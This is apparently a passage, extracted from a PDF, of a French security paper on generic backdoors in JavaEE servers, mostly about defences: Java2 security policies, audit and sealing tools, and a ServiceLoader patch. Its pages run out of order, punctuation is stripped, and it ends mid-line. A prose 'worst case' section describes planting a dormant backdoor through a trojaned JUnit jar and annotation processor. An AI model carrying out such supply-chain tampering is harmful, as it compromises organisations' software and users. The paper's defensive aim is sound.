Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
